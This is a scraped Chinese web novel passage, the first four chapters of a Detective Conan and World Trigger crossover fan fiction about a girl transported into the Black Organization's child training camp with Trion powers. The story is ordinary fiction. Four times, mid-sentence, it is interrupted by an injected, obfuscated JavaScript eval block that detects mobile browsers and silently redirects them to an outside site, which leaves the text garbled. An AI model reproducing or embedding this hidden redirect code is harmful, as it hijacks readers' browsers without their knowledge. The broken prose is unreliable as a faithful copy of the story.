《废柴的我被绑到柯南世界当真酒了》 1. 第一章 我愣愣地看着眼前空荡荡的四人间宿舍和自己缩水变小的身体,只觉得世界可真是魔幻。 我像是故障的机器人一样,一卡一卡地转动脑袋,这间宿舍实在是简陋得很,除了必要的被褥、一张桌子、一盒纸巾、四个凳子以外就什么也没有了。 我不是刚刚还在自己的房间吗!怎么突然就被投放到这里了!! “欢迎来到《名侦探柯南》的世界。”电子音伴着书页翻动的声音响起,“当前人物设定为黑方。”播报完之后,它又补了一句,“恭喜你成为‘刚被黑衣组织捡回来的十岁小孩’。” “啊?啊?!柯南的世界?!我穿了?!还变成十岁!不是,为什么是我??”博览群书的我立刻反应过来,丝滑地接受了设定。 “我检测到了你的愿望。你想体验一下怎么用境界触发者的设定在柯南世界大杀特杀。” “不是!不至于吧!那只是我稍纵即逝的想法啊!不要当真啊!!”我戴上痛苦面具喊道。 电子音像是被我的剧烈反应惊到了,略显心虚地说:“啊……是这样吗?” 我欲哭无泪,我人都麻了。 能不能时间倒流一下?当事人就是特别撤回几分钟前说的那句话。 “系统?在?你告诉我我不是真的到了异世界对吧?我还可以回家的对吧?” “你好,宿主。咳,我很抱歉,但是我没办法把你送回原来的世界。”系统是个直肠子,实话实说道。 等我稍微宕机了的脑子完全理解它的意思后,我心都凉了。 “不是!谁给你设置的算法让你这样抓取宿主的??”我破防地大声质问道,“能不能分清真实的愿望和一时间的灵光乍现啊!你有没有想过我要怎么在这个困难的米花町活下去啊!我只是一个弱小又无助的废柴呜呜呜,我手不能提,肩不能扛,从小到大连只鸡都没杀过!而你!却给我整了个黑衣组织训练营的地狱开局!!”越是控诉,我越是悲从中来,原本烘托氛围用的假哭都委屈地真情实感起来。 我回不去了,再也见不到妈妈和爸爸了。 我的家人……我平静到无聊的生活就要一去不复返了。 前方,那可是杀人如麻的黑衣组织啊! 它要我如何接受这样的生活?! “诶!别哭别哭,宿主你冷静一下……” 它越不想我哭,我就偏要哭,“呜哇——!”我.干脆放开了嗓门,大声嚎起来,眼泪啪嗒啪嗒地掉,像是拧不上的水龙头。 “……这、这样吧宿主,我们这边给你一些补偿你看可以吗?”等我终于释放完情绪,稍微平复下来之后,系统这才逮着空隙小心翼翼地说。 “什、什么补偿?”我抹去眼泪,压着哭腔问。 “你想要什么样的补偿呢?”系统把选择权交给我。 我哭得脑仁都有点疼,努力在浆糊一般的思绪里想到了我最喜欢看的动画《境界触发者》。 说实话,拥有一副没有痛觉的身体对我现在来说很重要。既然注定要加入黑衣组织,那我就必须展现出自己的价值,才能在残酷的淘汰中苟活下来。Trion体的特性实在是太好用了,我不禁无比感谢苇原大介老师想出来的这个设定——断手断脚都可以正常继续活动、不会喷.血只会喷Trion以及Trion没用完就不会解体的设定真的能在柯南世界保住我的命!而且还能帮我度过尴尬的新人期!以我现在的弱鸡身体来说,Trion体三倍的反应速度能让我显得不像是废物。 太好了!暂时不会被当作废物被处理掉了。 ——我不想死。 虽然不知道未来会怎么样,可唯独这个念头很清晰。 就算开局很烂,我也绝对、绝对不想死。 柯南世界应该不会有人能运用Trion,也就是说,不会有人能把Trion体状态下的我杀死,因为只有Trion攻击才能对Trion体造成伤害。 前提是——不会出现什么世界融合! 回忆着我看过的综漫同人……嗯,大多数都会走向两个或多个世界融合成新世界的结局。 “系统,这个世界不会和别的世界融合吧?”我从桌上抽了几张纸,擦着鼻子在心里问道。 “不会。”它果断地回答,过了一会儿又犹豫地补充,“……如果你有这个需要的话,我也不是不能努力一下。” “不用了!不要把境界触发者这种竞技向的作品变成推理漫啊!”我连忙拒绝,“要知道动画里好像也就死了个艾涅德拉德啊,还是没完全死透的样子。”我实在不想看见WT里的任何角色被刀,呜呜我脆弱的小心脏承受不起啊,当年Replica老师的剧情已经够让我哭得稀里哗啦的了…… “要融合的世界也不一定是WT。” “不不不,不管是哪个世界都不要融!现在这样就很好了。”我可招架不来更多的厉害角色了,柯南里的已经够我喝一壶了。 “所以,你想好要什么补偿了吗?”系统的问话把我逐渐跑偏的思绪给拉了回来。 “没想好的话可以给我暂时保留吗?我能得到多少补偿啊?是那种只有三次机会的阿拉丁神灯还是只有一次机会?”为了争取到更多的外挂,我连连追问。 系统好像是在沉思,安静了好些时候才给出答复:“在我能力范围的,你都可以提。” “哇!系统你,好厉害啊!”我把快要秃噜出来的“对我真好”咽了下去。它可是害我至此的罪魁祸首啊! 我把手里的纸揉成团,情绪忽然低落下去,“系统……你会陪我走到生命的结束吧?……就当是,售后服务。” “我会的,宿主。”平淡无波的电子音听起来竟然意外得温柔。 我躺倒在一直坐着的床铺上,伸了个腰。真好,起码我不会是一个人了。 “对了,这个房间就我一个人吗?”我看向没有任何使用痕迹的另一个下铺。 “嗯,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293706|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是新来的,其它孩子都已经有固定的宿舍了。”系统给我科普了下这具身体之前的经历。 好惨,从孤儿院走失后被组织的人捡了回来。 我捏了捏瘦弱的胳膊,稍微一摁就能摸到骨头,“组织,是管饭的吧?” “管的,不会克扣你们的伙食,毕竟他们还想培养出一流的杀手呢。”系统顿了顿,“接下来的好几年,你都要接受训练了。” 我一时不知道该怎么接话。 “统子,成为黑衣组织的成员……是要有取走别人性命的觉悟的吧……”我迷茫地望着头顶的床板,“我不知道我做不做得到。” “没关系的。把这个世界想象成游戏吧,大家都只是NPC,不要有任何负担。”系统轻轻地说。 “可这未免太不公平了,我明明知道她们都是鲜活的生命,我只是因为想要逃避才……” “不。就把它当成游戏吧。”系统突然打断了我,像是叹了口气,它说:“我不想看见你因此而崩溃。” 我沉默了。 我明白系统说的是对的。我没有强大的心理素质,要是不把一切当成游戏,我可能真的会被这些负罪感压得精神崩溃。 哈,或许也不一定,或许我会习惯,毕竟,人的适应力是很强的。 我闭了闭眼,长长呼出一口气,“统,你说得对,这只是个游戏。” 我自我催眠般地重复了一遍:“这只是个游戏。” 我努力扬起声调,“统,要不你改一下自我定位和我的视野?就是变成游戏系统,然后让世界看起来更像游戏怎么样?”我比划着任务面板,人物属性,背包,试图让系统拥有这些功能,“比如我一喊人物面板,就能看到自己的属性,哦对对,还有NPC标识!比如重要人物琴酒啦,波本啦,苏格兰啦,黑麦啦这些!”我列举完从柯南同人里学到的黑方人物,然后抓耳挠腮地也回忆不起更多名字来。 虽然柯南被称为童年阴影,但我小时候其实真没看过柯南,还是长大后开始看同人才耳熟能详了这些原著角色和一些剧情,就我印象深刻的就有什么拯救警校组啦,什么扫射东京塔啦,什么花式上位成组织Boss啦——所以组织的Boss是不是一个叫乌丸莲耶的老头子啊? 这么看来,我连柯南的主线都不知道,全是靠同人补完知识的耶……糟糕!里面不会有我认不出来的关于组织的私设吧!毕竟作者大大们都是圆bug的一把好手。 啊这……所以为什么要把我拉进黑方阵营啊…… 难道是因为…… 一想到另一个可能是导致我落入现在这种境地的根源,我就忍不住咬牙切齿,“系!统!你不会是因为我最后看的那本同人是真酒文,所以就自!动!把我的阵营划到黑!方!了!吧!?” “额……啊……”系统支支吾吾的,然后突然发出了像是柯南装傻时会发出的声音:“欸嘿嘿——?” 我仰天长啸:“系统你这个笨蛋!!” 2. 第二章 系统又是好声好气地连连道歉才让我揭过这一章。 “我们花了这么多时间掰扯真的没问题吗?现在是白天还是晚上啊?这里连个窗户都没有,知不知道人晒不到太阳是很容易抑郁的啊?”我碎碎念道,然后问出了最重要的问题:“我不会,一会儿就要去训练了吧?” “不用担心,我把时间暂停了。你可以认为自己在游戏里的捏脸环节。”系统轻描淡写地道。 “把时间暂停这个操作是新手福利还是之后你也能做到?”我眼睛登时一亮,脑海中飘过许多可以利用时间暂停完成的操作。 可惜系统无情地收回了这个外挂:“是新手福利。” “好吧……”我有点失望。 不过想想也是,时间暂停这个挂也太大了。 “对了,你看看这个。”眼前突然浮现一个淡蓝色的弹窗,我仔细看过去,发现上面记载的是我的人物信息。 【名字:未知】 【性别:女】 【生日:8.20】 【年龄:10】 【身高:120cm】 【体质:1/10(营养不良的小豆丁,可能四百米都跑不下来)】 【力量:1/10(真的是如你所说,手不能提肩不能扛耶)】 【敏捷:3/10(小孩子特有的敏捷)】 【智力:5/10(一般般聪明,胜在自我认知很准确)】 【幸运:4/10(普通人级别的幸运程度)】 “喂喂喂,你吐槽我吐槽得也太明显了吧!”我盯着每项属性后面的备注,不满叫道,“而且什么叫普通人级别的幸运?我被你抽中来这个世界难道不是超绝倒霉蛋吗!” 系统,系统不敢说话。 好在我很快转移了注意力。 我看着显示‘未知’的那一行陷入了苦恼,“我居然没有名字吗?说实话,我是起名废诶,该起个什么名字比较好呢?”随机一个吗? “不过,起哪个国家的名字好呢?我不太想起日文名耶,虽然之后的主战场肯定会在日本……”我脑海中掠过一些日文姓氏,却都不太满意。有没有什么虽然看起来像是日文名,但一读就知道是中文的名字呢……啊!韭菜盒子! 上辈子在网上到处冲浪的我想起了自己看到过的那些有梗的日文名。 “反正都是游戏了,那我要放飞自我!我要尝试上辈子没试过的事!”我愉快地把名字设置成‘当归不当归’,姓当归,名不当归!相信这个名字肯定能帮我修炼出厚脸皮! “既然都是新人生了,我得设立一些新目标。”我嘟囔道,“统!帮我记录下目标!” 被我当成备忘录的系统默默接受了它的新职责:“你说。” “第一,我要长到170!我要变高,我要享受170的空气!”我不想再仰头看人了! “第二,忠于我的阵营,不反复横跳!”我思考了一下,还是决定给自己留条后路,“争取。” 系统意外地没有反驳我,甚至就改换阵营这件事提出了个可行性方案:“等主线剧情开始以后,我们可以跳到红方,反正组织最终的下场也是被毁灭,或者销声匿迹。” “不,我这种犯罪组织的成员怎么可能洗得白啊。”我们没有继续停留在这个话题上,我紧接着提出下个目标。 “第三,救济警校组,在能力范围之内。” “这不是跟你的第二点自相矛盾了吗?”系统不解道。 我摇着食指说,“No,no,no,救他们也不代表我是红方啊?再说了,只是在能力范围之内嘛,比如萩原和松田就是好救的那种,把炸弹清除掉就行了?但是景光我感觉还挺难救的……”我初步设想了一下救人方案,然后从犄角旮旯里又搜罗出一个人名来:“宫野明美,是不是也要救一下啊?” “可是明美简直就是灰原哀出现的必要条件?还承担了给柯南科普酒厂的任务,怎么想,都很难把这个便当捞回来?”想要救酒厂的相关人物简直是难上加难啊,我不禁感叹到。 “所以,为什么要救呢?”系统表示疑惑,“不救就不用烦恼了。” 我抠了抠手指,“因为……因为我不忍心让松田那张那么好看的脸消失啊!”我想起那张偶然看到的图,忍不住发出赞美——酷酷的卷毛是真的帅气啊! “虽然设想了很多,可要是原著剧情会不容偏移地上演,那我怎么着也救不到。”思及所谓剧情惯性这回事,不由让我有些泄气。 “想做就去做吧。”系统否定了我的猜测,“你是可以改变剧情的走向的。当然,改变之后的发展就不会符合你记忆里的展开了。” “我会努力救一救的。”我笑了一下。 那岂不是更像真实世界了吗…… 我甩了甩头,抛开刚才闪过的思绪。 “还有更多目标吗?” “有啊!终极目标!”我瞬间握拳兴奋道:“刀了乌丸莲耶!上位组织Boss!!” 系统像是被我惊讶,好一会儿才发出了鼓励的声音:“喔!雄心壮志啊!” “哼哼!等我拿下组织,一切都将手到擒来!”我开始畅想,“统,到时候你帮我弄清楚怎么掌控Boss的邮箱什么的一切信息,然后我就可以过半退休的生活啦!” 系统也不扫兴:“行啊,我帮你伪装成原来的Boss。不过怎么是半退休呢?你不是还要管组织吗?” 我心说系统还真是不懂怎么偷懒:“自己管事太累了,我到时候就把所有的事丢给琴酒,反正他已经是组织的劳模了,当个实质上的老大也不错。对了,我们得把组织的科研部分砍了,再把朗姆和他的手下都丢给降谷零,然后在琴酒老大的带领下蛰伏起来嘻嘻。”我根本忍不住乐。 我说着说着想到一个关键点:“那我得跟琴酒打好关系啊,不然砍掉科研部分的时候就太明显了。得想办法把琴酒拉到我们这边,让他接受当老大才行。”我对比了一下拉青年琴酒好感的难度和拉正篇琴酒好感的难度,连忙问系统,“琴酒他现在多少岁?应该不是正篇的年纪吧!我们最好是在青年琴酒的时间线上,否则计划不太可能实施啊。” “放心,琴酒现在12岁,还在组织苦哈哈地训练呢。”系统的答复让我稍微安心下来,“我才比琴酒小两岁啊。” “决定好目标了,接下来就是付诸行动了。”我瞟了眼系统给我提供的任务面板,发现在某些长期任务下,它给我分了许多小任务,一步步完成后,就能完成大任务了。很好,它都给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293707|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我做好计划了。 如果用Trigger刀掉乌丸莲耶的话,那最能派上用场的应该是Hound了——直接开启满级追踪效果,几发下来绝对能把他捅成筛子,分分钟斩草又除根的。我愉快地制定了一个粗糙的暗杀计划,然后忽然意识到我的外挂还没到账! “急急急!统!我想好我的外挂了!” “是Trigger对吧?”系统未卜先知地替我说道。 “咦?你怎么知道的?”我诧异地道。 系统仿佛有点无奈:“你忘了我检测到的愿望了?早把Trigger给你准备好了。伸手。” 我依言摊开手掌,下一刻,一把深绿色的、在动画里见过的Border专用Trigger就躺在手心。 我抓紧了有点冰凉的手柄,激动喊道:“Trigger On!” “Trigger开始启动。扫描启动者实体。” “生成战斗体。实体变装为战斗体。” “Trigger启动完毕。” 一系列熟悉的语音播报过后,我兴奋地跳了跳,感觉身体明显轻松自如了很多。 虽然肉眼看不出变身后有什么不同,可我知道自己现在已经是Trion体的状态了。根据原著的设定来说,我的肉身在生成Trion战斗体后,就会被收入手柄中,而解除变身则会把两具身体再交换回来。 新弹出的人物面板能让我直观地看到Trion体给我增幅了多少。 【体质:2/10(营养均衡的小豆丁)】 【力量:2/10(或许你能勉强扛得动狙击枪了)】 【敏捷:4/10(动如脱兔)】 面板上还新增了一行显示我的Trion量。 【Trion:6/?(中等偏上的水平)】 这个Trion量还行吧,我也不求成为像千佳那样的Trion天才,毕竟咱也不想一发狙击轰塌一栋楼。 我关掉弹窗,开始上蹿下跳地蹦达,熟悉使用Trion体的感觉,“统,你很上道嘛,虽然我很馋Border的队服,但在组织里要用的话,建模还是跟本体没有区别比较好。” “来配置Trigger了。”任我自由发挥了一段时间后,系统叫停了静不下来的我。 “哦,对!”我终于舍得停止胡乱打拳,兴致勃勃地在新弹窗上划拉查看所有可选的战斗用触发。 “我们遵从Border的升级制度,所以你现在只是一个C级队员,只能选择一个作为主触发。”系统给我解释道,“等你熟练度上来了之后就会按八个触发的规格来。” “嗯嗯。”我点着头,“我都了解的嘿嘿。虽然我的梦想是学会Viper——因为自己设置子弹轨道真的很有趣!但是以实际情况来考虑的话我还是先往狙击手这边练吧,能帮我在组织里展露一点才能。”我停留在狙击用触发的三个选项前。 Border提供三种狙击枪:以弹速著名的Lightning,均衡型的Egret,还有以威力著名的Ibis。 “Ibis的弹速应该能用来模拟现实中狙击枪的速度?”我询问系统。 “嗯。” “那我就选Ibis啦。” 3. 第三章 “统!我需要训练室!你能像动画里演的那样给我模拟出靶子和场景吗?”我迫不及待地想试试打靶。 “像千佳那样的场景模拟你暂时还用不到吧?之后会给你开放的,先按普通的打靶训练来吧。”系统如是说道,然后眼前的场景就从宿舍变成了狙击手训练时空间——只有一个可供查看命中率的显示屏,一个架枪的台子和数米之外的圆形靶子。 “哦!那个打五枪靶子就会往后退的训练?”我迅速联想到了相关场景。 “可以这么理解。”系统又根据我的实力做了补充:“按你现在的水平还用不到五发就后退,起码得把一个距离练熟了再说。” “那就开始吧。”我试了下用Trion生成一把Ibis。 好家伙,真重啊,我差点拿不动!千佳!我理解你了! 我颤颤巍巍地把Ibis架好,默默地把提高臂力加入计划表,然后老老实实地从十米靶开始。 “砰。”我自我感觉调整得差不多之后,扣下扳机,却没能得到预想中的十分靶子。 虽然没有脱靶,可结果也实在称不上准。 我对着靶子左看右看,愣是看不出我哪里做错了才会打到那里去:“统,我也没学过怎么用狙击枪啊,怎么能知道自己做没做对啊?我甚至连正确的拿枪姿势都不知道。” 系统爱莫能助,“我只能教给你理论知识,没法指点你。” “理论知识也好,一点点磨吧。我不信大量的练习还不能让我练出手感来。”我一边听着系统给我上课,一边不断调整,练到我都数不清有多少个靶子被打成筛子了才终于得到了稍微令人满意的结果。 而这,还只是在十五米靶上。 直到按下扳机,枪里却打不出子弹来,我才迟钝地意识到自己的Trion耗尽了,“好累啊……我应该不至于两三个小时后就被叫去训练了吧?”从练习空间里出来后,我解除变身,立刻瘫倒在床上。 “把你拉过来的时候是晚上十点,刚刚训练时我没解除时间暂停,所以你还可以好好睡一觉。”系统给我带来了好消息,也带来了坏消息:“我们不可能每次都暂停时间训练,也就是说,你之后得牺牲一些睡眠时间来训练了。” 我表情痛苦地翻了个身,这种全天无休的日子我还不知道要过多久——! 睡着了就不用想了,明天的事留给明天的自己来烦恼,“晚安,统。”我两眼一闭,陷入了婴儿般的睡眠。 “宿主,醒醒!起床了!”我感觉我才睡过去一个小时,就被系统强行叫醒了。 “……再、再睡会。”我嘴唇小幅度地动了动,估计都没发出声音来,不过系统肯定听得到。在我意识又要沉下去的一瞬间,它又说:“已经早上五点五十了。昨天负责你们的人跟你耳提面命过要六点在训练场集合的。” 训练场勉强唤醒了我的意识,我心不甘情不愿地睁开眼睛,打着哈欠坐起身来醒神开机。 “该死的组织……活该你们倒闭。”没睡够的我怨气冲天地拖着沉重又饥饿的身体去浴室洗漱。 我被吵醒后真的会想一拳打爆这个世界。 都给我等着!等我混出头了,我一定每天要睡到自然醒!然后崩了每个打扰我睡觉的人! 我睡眼惺忪地望着镜子里形容枯槁的自己,只觉得恐怖片不选我出演真是一大失误——给我涂点粉,我就能扮演朝别人索命的鬼魂了。 拧开水龙头,我捧起一点冷水往脸上擦去。冰凉的触感让我稍微打起了点精神。 洗手台上空空如也,不见半点牙刷和梳子的踪影,我只好随便用水漱了漱口,再就着湿漉漉的手试图把凌乱的头发拢顺一些。 看着我黑中透着黄的头发和深棕色的眼睛,我意识到这具身体该是个亚洲人。 希望没有日本血统,我暗自祈祷。 快速上了个厕所后,我在衣柜里寻找可供替换的衣服,可惜一无所获。 我穿着一夜没换的运动服离开宿舍。 “统,我不认路啊,往哪边走是训练场?”我瞧着四条极其相似的走廊只觉得选择困难,所以Border的人都是怎么从一模一样的走廊里分辨出哪条才是正确的那条的啊,我腹诽着。 “跟着箭头走。”系统很快给我整了个硕大的红箭头飘在视野里。 生怕我看不见啊。 我一路跟随箭头的指示找到了一处空旷的地方。 这应该就是训练场了,一圈圈跑道环绕中心许多器材的陈设让我梦回体育课。 天!看上去就是要跑圈啊!跑完还得针对各个部位特训的样子…… 我捂着已经开始叫唤的肚子,后知后觉地意识到从昨晚到现在我滴水未进。很好,现在我该担心我会不会跑着跑着就晕倒了。 希望我不会一昏就是永远,阿门。 我到得也许还算早,场内暂时只有零零散散几个人,他们扫了我一眼后就自顾自地去做自己的事了,对新人的存在漠不关心。 也对,在这里保持冷漠才是最好的应对方法吧,规避了第一天就被霸凌的情况呢。 社恐发作的我随意找了个靠近出入口但没人的角落等着负责人来。 没事做的我悄悄观察着其它人,他们有的在跑圈,有的在做热身运动,总之都有事干。 我悟了,这种提早来的应该就是卷王吧,不然大家应该会卡点来。 第三次跟被观察对象对上眼之后,我深觉自己的功夫修炼得不到家。 被人家凶狠的眼神吓退的我讪讪转头——不系统性学习一下怎么隐蔽地观察别人的话,真的分分钟被抓包啊。 我决定给自己找点事做,缓解尴尬。 “统,热身具体是什么顺序?”不爱运动的我直接求助系统,然后抱着做广播体操的心态慢慢活动身体。 等我做完一套三分钟的热身,热得挽起宽大的袖子时,一位成年人从入口走来。 他拿着大喇叭宣布道:“每人十圈,跑完吃早餐。”他的声音回荡在寂静的室内,话音落下,其它人就齐刷刷地上了跑道,自觉开始完成要求。 我看了看大家,有点犹豫,我这个状况肯定是跑不了十圈的…… 正在我迟疑的期间,那位负责人径直朝我走来。 脑海中一瞬间闪过了很多严厉教官的形象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293708|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我有点害怕地等他开口。 “你是昨天新来的吧?”他意外地还算温和,“你跑五圈就够了。”他说完就示意我开始。 “跑、跑不动的话,走完也算吗?”我怯怯地问。 “嗯,只要你能完成要求就行。去吧。” 我上了跑道,慢慢悠悠地小步跑着,“统,他竟然不算严苛?” “不然你以为他应该是什么态度?” “穷凶极恶的坏人?说话都恶声恶气的?”我按照电视上演的反派形象不确定地在心里答道。 “他这样才比较正常吧。这里是培养外围成员的地方,要是不收买人心,怎么让他们加入组织,又怎么确保他们不会想背叛?”系统给我掰开来讲解。 我思考了下其它孩子的态度,感觉他们也不像是信服组织的样子,“这样就叫收买了吗?” “总比拿枪指着你,逼你跑圈好吧?” “那也是。”我的腿部渐渐乏力,呼吸也急促起来。 我努力控制着呼吸,才跑了半圈就被别人超过。他超过我时带起的微风令我舒爽了一刹那。 我不敢关注别人,怕破坏自己的节奏,于是只低头盯着自己的步伐,确保不会发生左脚绊右脚摔倒的情况发生。 真绊倒了那也太丢人了! 除了呼吸声和跑步声,训练场里安静得可怕。 疲惫缓慢累积着,我突然又有点后悔为什么不用Trion体来训练,能关掉痛觉的设定真的至关重要啊。 这个想法转瞬被我抛到脑后,太早暴露底牌不是好事,况且我也不能永远变装成Trion体。 真遇到了危机情况,我跟不上反应的身体只会加速我的死亡,所以还是老老实实地也锻炼肉身吧。 争取练出强壮的体魄!嘻嘻,我好馋腹肌和肌肉哦。 我熟练地给自己找出积极的目标,然后惊喜地发现我跑完第一圈了。 “统,你帮我记着数,我怕我跑得神志不清会忘记。”我深知自己算是个金鱼脑袋。 “好。” 龟速跑到第二圈半的时候,我的呼吸节奏已经完全乱掉了。 我感到眼前有点发黑,脑子里所有想法都被清空,只勉强凭着本能继续迈动双腿。 “跑完第二圈了。”系统的播报让我清醒了一瞬间,我连忙停下,双手撑着膝盖大口喘气。 隐约想起妈妈说过的“运动后不要立刻停下来。”我坚强地再次迈动双腿。 我慢慢地挪动脚步,调整呼吸,走到第三圈半的时候终于缓过来了一点。 跑道上已经没有别的身影了,除了负责人还在那盯着我,其它人都已经完成了他们的晨跑任务。 我打算走完第三圈,跑掉第四圈,到第五圈又改成走路。 等我终于也完成五圈后,我感觉自己下一秒就要厥过去了。 我捂着极速跳动的心脏来到负责人面前讨水喝:“可、可以给我水喝吗?” 我感激地接过他从背后掏出的水瓶,吨吨吨地连灌几口。 “走吧,带你去吃饭。”这简直是天籁之音! 我忙不迭地跟上。 4. 第四章 我跟着负责人的脚步,七拐八拐,不知道拐了几次之后,来到了食堂。 如果我能有动画形象,想必现在绝对是睁着一双蚊香眼,真够绕的,给我绕晕了都。 我敲敲系统问:“统,你记下路线了吧?” 系统很靠谱地给予肯定。 “拿餐盘。”负责人给我带到一摞餐盘面前,给我摆好餐具又递到我手里。 我默默接过,端着餐盘的手有些忍不住抖。 我不禁有点疑惑,我在他眼里是个弱智吗。 “来打饭。”他又给我示范了怎么取餐,我不语,只像点了跟随的宠物,亦步亦趋地领完了相同的餐食。 弱智就弱智吧,有饭吃就行。我闻着食物的香气,简直想下一秒就大吃特吃。 教程过后,我没有眼色地跟他坐在了同一桌。 刚落座时,他蹙了蹙眉,但也没说什么。 我满心满眼的全是食物,立刻拿勺子开吃。 一口大米饭下肚,我感觉人生又值得了,“统,这就是他们收买人心的方法吧呜呜。” 系统恨铁不成钢地说:“你也太容易就对人家感恩戴德了吧。” “呜呜,你不懂这种累到极致后能有东西吃是一种多大的安慰。”我内心的小人简直要泪流满面,赶紧大快朵颐了起来。 我七点半才吃上早餐的时候,别人早就吃完了,食堂里就我和负责人两个人。 虽然早上不宜吃太多,可我实在是太饿了,又去打了一碗,然后成功吃撑了。 负责人无语地看着我一副路都走不动的样子,顺带帮我还了餐盘。 阿门,他真是个好人。 “现在我们去上课。”负责人显然是要带我熟悉一天的流程,我发着饭晕乖乖跟上。 眼见我们又要继续迷宫探险,我连忙让我的外置大脑统子帮我记路线。 运动后的汗水开始彰显它的存在感,我扯了扯黏在皮肤上的衣领,朝负责人问道,“请问我们该去哪里洗澡?去哪里领换洗的衣服以及洗漱用品?” “去公共浴室和洗衣房,都在这一层。”负责人言简意赅地道。 完全不想给我演示如何操作的样子…… “哦。谢谢。”我干巴巴地道谢。 “统,我们的活动范围是不是被限制在这一层楼了?衣食住行全都搞定了就不会再给我们出去的机会。”我心里的不满像碳酸饮料里的气泡一样沸腾翻涌着,但根本不敢在脸上表露出来:“这不就是变相在坐牢吗!还是不知道自己刑期的那种。” “你识字吗?”负责人突然问。 我狂敲统子:“统!我识字吗?” “嗯,日本小学一年级的水平,认识一些平假名。” 我斟酌了一下措辞道:“一些些。认识基本的平假名和一点汉字。” “统,我还真在日本啊……”我心说日本果然是黑衣组织的大本营,“不过我根本不认识什么平假名啊,露馅怎么办?”我有些担忧,平假名我最多认识一个の…… 系统依然靠谱:“放心,我给你打了语言补丁,所有你看到的日语都会被翻译成中文。” “哦!感谢统子!”免了我痛苦的语言学习过程,“对了,比起直接显示中文,能不能给我弄个双语版本啊——原文和与之对照的中文。” “好。不过这个也是辅助,长久考虑的话,建议你还是好好学日语。” “知道了。”我不开心地撇撇嘴。 暂时结束跟统子的交流,我打起精神应对负责人后续的提问,却等了半天也没等来下文。 我无聊地四处张望,在路过的一些门前发现了门牌和配套的刷卡机:“重点班,中级班……”我正纳闷这里居然还要刷卡,可我没收到什么身份卡……那该怎么进门? 负责人带着我在初级班的门前停下,然后从口袋里掏出了一张卡和一叠纸。 他让我先接过卡,介绍道:“编号09,这是你现在的名字。这张身份卡可以让你出入这层楼的所有房间。”我翻来覆去地看这张简洁的卡面,除了两个硕大的09以外再没找到别的字符。 负责人又给我递来几张折起的纸:“这是日程表和在这里生活的注意事项。以你的识字水平能看懂吧?”我确信他看见了我为难的表情,可他只是无动于衷地道,“看不懂也没关系。犯错了自然就能懂了。” 我攥紧了纸,没敢问这句话是什么意思。 “每天七点半开课,你现在还在适应期,可以迟到,但适应期过后再迟到会有惩罚。”负责人淡淡地继续,“你目前只能上初级班。等你学完了内容,授课的老师会给你换班。”他一句话带过我好奇的部分。 “这几张纸你慢慢看,最好记牢。我就送你到这里。没事不要来找我,出大事的话我会来处理。”说罢,他转身就走,刚走出没几步,他又顿了顿:“劝你乖乖完成我们布置的日程表。你不会想知道不听话的孩子的下场的。”听着这个威胁,我心里晃荡的那只靴子终于落地,反而有种‘果然如此’的感觉——这才是组织的真面目啊。 虽然他背对着我看不见,可我还是小鸡啄米似的连连点头。 “也不要想着偷懒,我们会一直关注你们的进度的。”负责人稍稍抬起头,朝墙角的天花板扬了扬下巴。 我顺着那个方向看过去,找到了一个不太明显的摄像头。 “没有价值,就会被丢掉。记住这句话。”他留下最后的忠告,走远了。 “谢谢你的提醒。”我冲着他的背影说道,也不晓得他听不听得见。 我先翻开日程表,打算晚点再看注意事项。 系统新调整的功能完美契合我的设想,我暂时略过那些平假名和汉字的混合物,默默读着下面的翻译:“六点训练场集合,晨跑十圈,括号,适应期第一周跑五圈,第二周跑六圈,第三周跑八圈,然后吃早饭。七点半上基础课……”才读完第一行,我就大惊失色:“统!他这是要我死啊!短短三周我怎么可能蜕变成一个半小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293709|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑完十圈的超人?!而且还不考虑我用于吃饭的时间!” 我不知道该不该庆幸他们没有规定死晨跑结束的时间。极限点算的话,我可以把吃饭时间压缩到十分钟之内,然后花一小时十多分钟跑圈——哈哈,也没好到哪儿去。 我能做到吗?我忍不住自我怀疑。 